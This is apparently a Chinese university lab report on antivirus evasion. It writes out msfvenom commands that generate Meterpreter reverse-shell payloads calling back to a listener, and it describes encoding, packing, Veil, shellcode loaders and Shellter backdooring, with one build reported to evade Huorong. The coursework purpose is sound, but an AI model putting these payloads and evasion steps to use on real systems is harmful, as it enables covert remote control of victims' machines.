2019-2020-2 20175319江野《网络对抗技术》Exp3 免杀原理与实践
目录
1 实验内容
- 1.1 方法(3分)
- 正确使用msf编码器(0.5分),
- msfvenom生成如jar之类的其他文件(0.5分),
- veil(0.5分),
- 加壳工具(0.5分),
- 使用C + shellcode编程(0.5分),
- 使用其他课堂未介绍方法(0.5分)
- 1.2 通过组合应用各种技术实现恶意代码免杀(0.5分)
(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。) - 1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)
1.1.1 正确使用msf编码器
- VirusTotal、virscan
集成了60多个商业杀毒软件的扫描引擎。可以上传免杀处理过的程序进行检测。
如果上传的程序所有软件都杀不出来,virustotal就会把它交给AV厂商们了,然后...在杀毒库更新前,你还可以使用一段时间。
Virustatol不包括各AV软件的行为分析部分(behavioral analysis)。但它自己开发了自己的行为分析引擎。
本实验使用VirusTotal进行检测 - msfvenom直接生成meterpreter可执行文件,使用实验2中生成的
20175319.exe
进行检测,检出率为60/71,以此为参照。
- Msfvenom使用编码器
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.1.100 LPORT=5319 -f exe > 20175319-encoded.exe
进行一次编码
检测结果
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.1.100 LPORT=5319 -f exe > 20175319-encoded10.exe
编码10次
检测结果
- 结果显示,编码会略微降低检出率,但是基本没变化。
1.1.2 msfvenom生成如jar之类的其他文件
- 生成java
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=5319 W >20175319.jar
检测结果
- 生成php
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=5319 -f raw >20175319.php
检测结果
- 生成jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.100 LPORT=5319 R >20175319.jsp
检测结果
- 生成asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=5319 -f asp > 20175319.asp
检测结果
- 生成android文件
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=5319 R >20175319.apk
检测结果
1.1.3 veil
Veil-evasion是用其他语言如c,c#,phython,ruby,go,powershell等重写了meterperter,然后再通过不同方式编译成exe,共性特征比较少。
本次实验选择C语言进行
检测结果
1.1.4 加壳工具
- 压缩壳UPX
upx 20175319.exe -o 20175319upx.exe
检测结果
- 加密壳Hyperion
还有一种,其实也算加壳,最早在2012年Hyperion文献中就有描述,也有软件实现。
在Kali里有hyperion的实现
进入文件夹/usr/share/windows-resources/hyperion/
在Linux下,用Wine来执行windows应用在Linux下,用Wine来执行windows应用wine hyperion.exe -v 20175319.exe 20175319hyed.exe
检测结果
1.1.5 使用C+shellcode编程
- 生成一个c语言格式的Shellcode数组
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=5319 -f c
- win10下使用vc6.0把上面的数组拿来编写C语言程序
- 在win10下运行程序产生的文件会直接被删除
因此把20175319.c
拷到kali虚拟机中执行
检测结果
1.1.6 使用其他课堂未介绍方法——shellter
- 本人使用的虚拟机自带了shellter,因此跳过安装部分
- 输入shellter,出现下图
- 输入A,选择自动模式,输入
20175319sh.exe
的绝对路径
- 输入Y,以隐形模式进入
- 输入L,编号选择1,即基于TCP的反向链接
- 输入主机IP地址和监听的端口
- 回车后,一个含有后门的文件制作成功
- 再利用upx对文件进行加壳
upx 20175319sh.exe -o 20175319shupx.exe
- 检测结果
1.2 通过组合应用各种技术实现恶意代码免杀
步骤1.1.6中产生的20175319shupx.exe文件成功实现免杀
1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
目标机:win10
杀毒软件:火绒
版本:5.0.41.7
病毒库更新时间:2020-04-03
回连测试
2 实验中遇到的问题
- 问题1:1.1.1中Msfvenom使用编码器时出现错误
解决方案:经检查发现是老师指导书给出代码的‘’
是中文字符,换成英文字符即可解决。
3 基础问题回答
- (1)杀软是如何检测出恶意代码的?
- 1.基于特征码的检测
- 2.启发式恶意软件检测
- 3.基于行为的恶意软件检测
- (2)免杀是做什么?
对恶意软件进行处理,让它不被杀毒软件所检测。 - (3)免杀的基本方法有哪些?
- 改变特征码
- 改变行为
4 开启杀软能绝对防止电脑中恶意代码吗?
不能,从本次实验可以看出,一些通过免杀操作的病毒软件无法被杀软识别出来。
5 实验收获与感想
本次实验我尝试了免杀的几种基本手段,在自己成功实现免杀以后,认识到仅仅依靠杀毒软件来实现计算机的安全防护是不够的,平时也应该多加小心,即时更新杀毒软件,多加注意进程操作,警惕异常现象。